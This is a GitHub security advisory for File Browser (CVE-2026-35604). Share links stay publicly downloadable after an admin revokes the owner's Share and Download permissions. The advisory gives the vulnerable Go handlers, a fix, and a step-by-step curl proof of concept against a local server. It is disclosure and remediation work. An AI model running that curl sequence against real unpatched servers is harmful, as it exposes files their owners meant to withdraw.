GHSA-V9W4-GM2X-6RVF
Vulnerability from github – Published: 2026-04-08 00:04 – Updated: 2026-04-08 00:04When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).
Details
Share creation (http/share.go:21-29) correctly checks permissions:
func withPermShare(fn handleFunc) handleFunc {
return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
if !d.user.Perm.Share || !d.user.Perm.Download {
return http.StatusForbidden, nil
}
return fn(w, r, d)
})
}
But share access (http/public.go:18-87, withHashFile) does not:
var withHashFile = func(fn handleFunc) handleFunc {
return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
link, err := d.store.Share.GetByHash(id) // line 21: checks share exists
authenticateShareRequest(r, link) // line 26: checks password
user, err := d.store.Users.Get(...) // line 31: checks user exists
d.user = user // line 36: sets user
file, err := files.NewFileInfo(...) // line 38: gets file
// MISSING: no check for d.user.Perm.Share or d.user.Perm.Download
}
}
Proof of Concept (runtime-verified)
# Step 1: Login as admin
TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"<admin-password>"}')
# Step 2: Create testuser with Share+Download permissions
curl -X POST http://localhost:18080/api/users \
-H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
-d '{"what":"user","which":[],"current_password":"<admin-password>",
"data":{"username":"testuser","password":"TestPass123!","scope":".",
"perm":{"share":true,"download":true,"create":true}}}'
# Step 3: Login as testuser and create share
USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"TestPass123!"}')
curl -X POST http://localhost:18080/api/share/secret.txt \
-H "X-Auth: $USER_TOKEN" -H "Content-Type: application/json" -d '{}'
# Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0}
# Step 4: Verify share works (unauthenticated)
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK)
# Step 5: Admin revokes testuser's Share and Download permissions
curl -X PUT http://localhost:18080/api/users/2 \
-H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
-d '{"what":"user","which":["all"],"current_password":"<admin-password>",
"data":{"id":2,"username":"testuser","scope":".",
"perm":{"share":false,"download":false,"create":true}}}'
# Step 6: Verify testuser CANNOT create new shares
curl -X POST http://localhost:18080/api/share/secret.txt \
-H "X-Auth: $USER_TOKEN" -d '{}'
# Returns: 403 Forbidden (correct)
# Step 7: THE BUG - old share STILL works
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK) - SHOULD be 403
Impact
When an admin revokes a user's Share or Download permissions: - New share creation is correctly blocked (403) - But all existing shares created by that user remain fully accessible to unauthenticated users - The admin has a false sense of security: they believe revoking Share permission stops all sharing
This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow").
Suggested Fix
Add permission re-validation in withHashFile:
user, err := d.store.Users.Get(d.server.Root, link.UserID)
if err != nil {
return errToStatus(err), err
}
// Verify the share owner still has Share and Download permissions
if !user.Perm.Share || !user.Perm.Download {
return http.StatusForbidden, nil
}
d.user = user
Update: Fix submitted as PR #5888.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.63.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35604"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:04:59Z",
"nvd_published_at": "2026-04-07T17:16:34Z",
"severity": "HIGH"
},
"details": "When an admin revokes a user\u0027s Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner\u0027s current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).\n\n## Details\n\nShare creation (`http/share.go:21-29`) correctly checks permissions:\n\n func withPermShare(fn handleFunc) handleFunc {\n return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n if !d.user.Perm.Share || !d.user.Perm.Download {\n return http.StatusForbidden, nil\n }\n return fn(w, r, d)\n })\n }\n\nBut share access (`http/public.go:18-87`, `withHashFile`) does not:\n\n var withHashFile = func(fn handleFunc) handleFunc {\n return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n link, err := d.store.Share.GetByHash(id) // line 21: checks share exists\n authenticateShareRequest(r, link) // line 26: checks password\n user, err := d.store.Users.Get(...) // line 31: checks user exists\n d.user = user // line 36: sets user\n file, err := files.NewFileInfo(...) // line 38: gets file\n // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download\n }\n }\n\n## Proof of Concept (runtime-verified)\n\n # Step 1: Login as admin\n TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"admin\",\"password\":\"\u003cadmin-password\u003e\"}\u0027)\n\n # Step 2: Create testuser with Share+Download permissions\n curl -X POST http://localhost:18080/api/users \\\n -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"what\":\"user\",\"which\":[],\"current_password\":\"\u003cadmin-password\u003e\",\n \"data\":{\"username\":\"testuser\",\"password\":\"TestPass123!\",\"scope\":\".\",\n \"perm\":{\"share\":true,\"download\":true,\"create\":true}}}\u0027\n\n # Step 3: Login as testuser and create share\n USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"testuser\",\"password\":\"TestPass123!\"}\u0027)\n curl -X POST http://localhost:18080/api/share/secret.txt \\\n -H \"X-Auth: $USER_TOKEN\" -H \"Content-Type: application/json\" -d \u0027{}\u0027\n # Returns: {\"hash\":\"fB4Qwtsn\",\"path\":\"/secret.txt\",\"userID\":2,\"expire\":0}\n\n # Step 4: Verify share works (unauthenticated)\n curl http://localhost:18080/api/public/dl/fB4Qwtsn\n # Returns: file content (200 OK)\n\n # Step 5: Admin revokes testuser\u0027s Share and Download permissions\n curl -X PUT http://localhost:18080/api/users/2 \\\n -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n -d \u0027{\"what\":\"user\",\"which\":[\"all\"],\"current_password\":\"\u003cadmin-password\u003e\",\n \"data\":{\"id\":2,\"username\":\"testuser\",\"scope\":\".\",\n \"perm\":{\"share\":false,\"download\":false,\"create\":true}}}\u0027\n\n # Step 6: Verify testuser CANNOT create new shares\n curl -X POST http://localhost:18080/api/share/secret.txt \\\n -H \"X-Auth: $USER_TOKEN\" -d \u0027{}\u0027\n # Returns: 403 Forbidden (correct)\n\n # Step 7: THE BUG - old share STILL works\n curl http://localhost:18080/api/public/dl/fB4Qwtsn\n # Returns: file content (200 OK) - SHOULD be 403\n\n## Impact\n\nWhen an admin revokes a user\u0027s Share or Download permissions:\n- New share creation is correctly blocked (403)\n- But all existing shares created by that user remain fully accessible to unauthenticated users\n- The admin has a false sense of security: they believe revoking Share permission stops all sharing\n\nThis is the same vulnerability class as GHSA-68j5-4m99-w9w9 (\"Authorization Policy Bypass in Public Share Download Flow\").\n\n## Suggested Fix\n\nAdd permission re-validation in `withHashFile`:\n\n user, err := d.store.Users.Get(d.server.Root, link.UserID)\n if err != nil {\n return errToStatus(err), err\n }\n\n // Verify the share owner still has Share and Download permissions\n if !user.Perm.Share || !user.Perm.Download {\n return http.StatusForbidden, nil\n }\n\n d.user = user\n\n---\n\n**Update:** Fix submitted as PR #5888.",
"id": "GHSA-v9w4-gm2x-6rvf",
"modified": "2026-04-08T00:04:59Z",
"published": "2026-04-08T00:04:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-v9w4-gm2x-6rvf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35604"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/pull/5888"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "File Browser share links remain accessible after Share/Download permissions are revoked"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.